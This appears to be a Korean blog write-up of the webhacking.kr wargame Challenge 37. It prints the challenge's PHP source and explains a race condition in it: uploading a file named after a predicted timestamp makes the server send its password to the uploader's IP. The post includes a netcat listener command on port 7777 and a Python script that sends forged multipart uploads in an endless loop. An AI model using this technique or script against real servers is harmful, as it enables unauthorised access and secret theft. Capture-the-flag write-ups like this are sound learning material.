늘모자란, 개발 :: [webhacking.kr] Challenge 37

늘모자란, 개발



내 생각엔 숫자들은 timestamp인것 같고, . 랑 ..가 붙은걸 보니 디렉토리를 나타내는것 같아보이는데..
주석에 index.phps가 있으므로 한번 보자.

 <html>
<head>
<title>Challenge 37</title>
</head>
<body>
<!-- index.phps -->
<?

$pw="???";

$time=time();


$f=fopen("tmp/tmp-$time","w");
fwrite($f,"127.0.0.1");
fclose($f);


$fck=@file("tmp/.number");

if($fck) $fck=$fck[0];
if(!$fck) $fck=0;

$fck++;

$f2=fopen("tmp/.number","w");
fwrite($f2,$fck);
fclose($f2);

$file_nm=$HTTP_POST_FILES[upfile][name];
$file_nm=str_replace("<","",$file_nm);
$file_nm=str_replace(">","",$file_nm);
$file_nm=str_replace(".","",$file_nm);
$file_nm=str_replace(" ","",$file_nm);

if($file_nm)
{
$f=@fopen("tmp/$file_nm","w");
@fwrite($f,$_SERVER[REMOTE_ADDR]);
@fclose($f);
}




echo("<pre>");

$kk=scandir("tmp");

for($i=0;$i<=count($kk);$i++)
{
echo("$kk[$i]\n");
}

echo("</pre>");





$ck=file("tmp/tmp-$time");
$ck=$ck[0];

$request="GET /$pw HTTP/1.0\r\n";
$request.="Host: $ck\r\n";
$request.="\r\n";

$socket=@fsockopen($ck,7777,$errstr,$errno,1);

@fputs($socket,$request);

@fclose($socket);

echo("$ck:7777<br>");

if($fck>=30)
{
$kk=scandir("tmp");

for($i=0;$i<=count($kk);$i++)
{
@unlink("tmp/$kk[$i]");
}

}

?>

<form method=post enctype="multipart/form-data" action=index.php>
<input type=file name=upfile><input type=submit>
</form>




</body>
</html>




소스가 여태봤던것중에 젤 길다.
간단히 요약하면, tmp파일마다 아이피가 적혀있는데 (127.0.0.1)
만약 파일을 수신하게 되면 127.0.0.1 이 아닌 파일에 있는 아이피를 기록하게 된다.

tmp파일은 유닉스타임스탬프가 붙여서 계속 만들어진다.
이건 전 문제에 포트포워딩하는거랑 똑같기 때문에 다음과 같이 만들고 파일을 업로드하고 기다렸다. 근데 아무리해도 안된다.

nc -nvl -p 7777


잘 읽어보니 파일에 내가 뭘 쓰던 상관이 없다.
REMOTE_ADDR을 기록하기 때문에 내 호스트 아이피가 무조건 기록되고 접속하게 된다. 근데 나는 학교라서 포트포워딩을 할 수 가 없다. 일반적으로 다 막혀있기 때문에 또 내 개인서버로 통하게 해야했다... 결국 스크립트를 짠담에 서버에서 따로 돌려줘야했다.

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import urllib, urllib2, re
 
sess = ""

headers = {'Host': 'webhacking.kr',
           'Content-Type': 'multipart/form-data; boundary=---------------------------21469235120676',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
while(1):
        url = 'http://webhacking.kr/challenge/web/web-18/index.php'
        data = """
-----------------------------21469235120676
Content-Disposition: form-data; name="upfile"; filename="tmp-1459543023"
Content-Type: application/octet-stream


-----------------------------21469235120676--
"""
        req = urllib2.Request(url, data, headers)
        response = urllib2.urlopen(req).read()


무한루프기땜에 적당히 돌리다 멈추면된다.
어쨌든 REMOTE_ADDR이다. 아이피 못바꾼다!

서버에서 위 스크립트를 돌리면 바로 패스워드가 들어온다.

근데 패스워드역시 서버 아이피 기준으로 따라가는것인지 내 호스트에서는 인증이 안된다.
결국 auth도 서버에서 따로 만들어서 보내주면된다.

요문제는 결국 콘솔에서 클리어..

python gogo.py
<script>alert('challenge 37 clear!!');location.href='?mode=challenge';</script>


2016/04/02 05:54 2016/04/02 05:54